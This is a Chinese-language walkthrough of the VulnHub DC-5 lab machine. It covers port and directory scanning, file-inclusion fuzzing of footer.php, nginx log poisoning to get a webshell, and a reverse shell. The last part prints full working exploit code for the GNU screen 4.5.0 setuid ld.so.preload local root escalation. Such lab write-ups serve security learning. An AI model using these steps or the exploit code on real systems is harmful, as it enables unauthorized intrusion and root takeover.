vulnhub dc-5靶机通关
安装虚拟机设置NAT模式网段在192.168.147.0/24
使用工具查找网段,129是我kali,131是dc-5
文件包含漏洞getshell
通过工具查看到靶机的ip地址

访问131的地址,然后nmap看一下开放的端口80和111


通过目录扫描扫到如下信息,这些路径也就是网页中的点

在这个位置发现每次访问页面的时候他会自动变换,猜测可能是文件包含了底部的栏目,通过御剑扫描到了footer.php文件,正是底部的栏目。这里可能存在了文件包含漏洞,需要fuzz变量和参数。


通过抓包,选中变量和传参,放入2本字典,fuzz变量名和传参,如下所示,长度不同的正是文件包含的信息,存在文件包含漏洞,此时就可以通过日志拿到webshell,寻找到nginx的日志文件


Nginx的日志文件如下,通过写入一句话,然后文件包含日志文件拿到webshell
/var/log/nginx/error.log
/var/log/nginx/access.log



使用nc反弹shell到msf

这里我重新写了一个shell,这里的日志文件好像会定时删除,防止麻烦,在别的目录下写一个
首先获取一个交互式shell
python -c 'import pty; pty.spawn("/bin/bash")'
然后查找具有suid权限的相关命令

Screen提权
参考
https://blog.csdn.net/weixin_45677119/article/details/111872598
发现一个:screen-4.5.0命令,百度经查找得知:
GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。
使用searchsploit搜索相关漏洞

1)创建libhax.c文件
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
__attribute__ ((__constructor__))
void dropshell(void){
chown("/tmp/rootshell", 0, 0);
chmod("/tmp/rootshell", 04755);
unlink("/etc/ld.so.preload");
printf("[+] done!\n");
}
gcc -fPIC -shared -ldl -o libhax.so libhax.c
编译libhax.c文件为libhax.so。
2)新建rootshell.c
#include <stdio.h>
int main(void){
setuid(0);
setgid(0);
seteuid(0);
setegid(0);
execvp("/bin/sh", NULL, NULL);
}
gcc -o rootshell rootshell.c
编译rootshell.c文件为rootshell。
3)创建run.sh文件
echo "[+] Now we create our /etc/ld.so.preload file..."
cd /etc
umask 000 # because
screen -D -m -L ld.so.preload echo -ne "\x0a/tmp/libhax.so" # newline needed
echo "[+] Triggering..."
screen -ls # screen itself is setuid, so...
/tmp/rootshell
将这三个文件上传到靶机的/tmp/目录下

给run.sh一个可执行的权限,直接运行,拿到root权限



浙公网安备 33010602011771号